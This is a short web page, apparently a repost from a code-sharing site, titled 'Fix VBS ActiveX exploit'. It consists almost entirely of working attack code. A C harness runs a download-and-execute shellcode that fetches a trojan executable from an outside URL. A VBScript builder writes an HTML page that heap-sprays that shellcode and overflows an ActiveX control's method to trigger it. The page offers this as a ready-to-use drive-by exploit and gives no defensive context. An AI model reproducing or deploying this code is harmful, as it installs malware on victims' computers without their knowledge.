Fix VBS ActiveX exploit

Time:2020-11-20

C + + code

Copy codeThe code is as follows:
#include <stdio.h>     
#include <string.h>     

unsigned char shellcode[] =     
“\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03”    
“\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74”    
“\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E”    
“\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03”    
“\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C”    
“\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40”    
“\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C”    
“\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC”    
“\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F”    
“\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB”    
“\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83”    
“\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF”    
“\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF”    
“http://fenggou.net/muma.exe”;     

int main()     
{     
Void (* code); / / convert shellcode to a function pointer with null parameter, and call
* (int *) & code = shellcode;     
code();     

VBS code

Copy codeThe code is as follows:
Execurl = InputBox (“please input you want down & exec URL,”, “input”“ http://jb51.net/muma.exe ” )    
if exeurl <> “” then    
code=”\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF”&Unicode(exeurl&Chr(00)&Chr(00))    
Function Unicode(str1)    
Dim str,temp    
str = “”   
For i=1 to len(str1)    
temp = Hex(AscW(Mid(str1,i,1)))    
If len(temp) < 5 Then temp = right(“0000″&temp, 2)    
str = str & “\x” & temp    
Next    
Unicode = str    
End Function    
function replaceregex(str)    
set regex=new regExp    
regex.pattern=”\\x(..)\\x(..)”   
regex.IgnoreCase=true   
regex.global=true   
matches=regex.replace(str,”%u$2$1″)    
replaceregex=matches    
end Function    
set fso=createObject(“scripting.filesystemobject”)    
if fso.FileExists(“jb51.htm”) then    
fso.deleteFile “jb51.htm”,True    
end If    
set fileS=fso.opentextfile(“jb51.htm”,8,true)    
fileS.writeline “<html>”   
fileS.writeline “<title>Sina</title>”   
fileS.writeline “<object classid=””clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D”” id=’target’></object>”   
fileS.writeline “<body>”   
fileS.writeline “<SCRIPT language=””JavaScript””>”   
fileS.writeline “var shellcode = unescape(“””&replaceregex(code)&”””);”   
fileS.writeline “var bigblock = unescape(“”%u9090%u9090″”);”   
fileS.writeline “var headersize = 20;”   
fileS.writeline “var slackspace = headersize+shellcode.length;”   
fileS.writeline “while (bigblock.length<slackspace) bigblock+=bigblock;”   
fileS.writeline “fillblock = bigblock.substring(0, slackspace);”   
fileS.writeline “block = bigblock.substring(0, bigblock.length-slackspace);”   
fileS.writeline “while(block.length+slackspace<0x40000) block = block+block+fillblock;”   
fileS.writeline “memory = new Array();”   
fileS.writeline “for (x=0; x<300; x++) memory[x] = block +shellcode;”   
fileS.writeline “var buffer = ”;”   
fileS.writeline “while (buffer.length < 218) buffer+=’\x0a\x0a\x0a\x0a’;”   
fileS.writeline “target.Method1(buffer);”   
fileS.writeline “</script>”   
fileS.writeline “</body>”   
fileS.writeline “</html>”   
files.Close    
Set fso=nothing    
end if 

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